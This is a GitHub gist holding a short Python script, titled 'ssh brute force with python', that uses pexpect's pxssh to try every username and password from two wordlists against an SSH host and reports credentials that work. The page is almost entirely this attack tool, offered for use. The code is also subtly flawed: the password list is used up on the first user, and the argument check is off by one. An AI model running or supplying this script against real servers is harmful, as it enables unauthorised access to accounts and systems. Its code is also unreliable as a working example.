Last active
May 21, 2018 21:12
-
-
Save thewindcolince/d21a45b153f9f5662630fc94afba3bb0 to your computer and use it in GitHub Desktop.
ssh brute force with python
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/python3 | |
from pexpect import pxssh | |
import termcolor | |
import sys | |
def connect(host,user,password): | |
try: | |
ssh=pxssh.pxssh() | |
ssh.force_password=True | |
ssh.login(host,user,password) | |
print("password found "+termcolor.colored(user+":"+password,'yellow')) | |
except pxssh.ExceptionPxssh as e: | |
print(e) | |
except KeyboardInterrupt as k: | |
print("\n") | |
print("terminate") | |
print("raison:program stop by user",) | |
sys.exit(0) | |
def main(): | |
if len(sys.argv) < 3: | |
print("Usage: python %prog -host -userfile -passfile") | |
print(" ") | |
print("Example: python {0} 192.168.10.2 users.txt password.txt".format(sys.argv[0])) | |
sys.exit(0) | |
else: | |
host = sys.argv[1] | |
userfile = open(sys.argv[2], 'r') | |
passfile = open(sys.argv[3], 'r') | |
for u in userfile.readlines(): | |
for d in passfile.readlines(): | |
user = u.strip("\n") | |
password = d.strip("\n") | |
print(str(user) + ":" + str(password)) | |
connect(host,str(user),str(password) ) | |
userfile.close() | |
passfile.close() | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment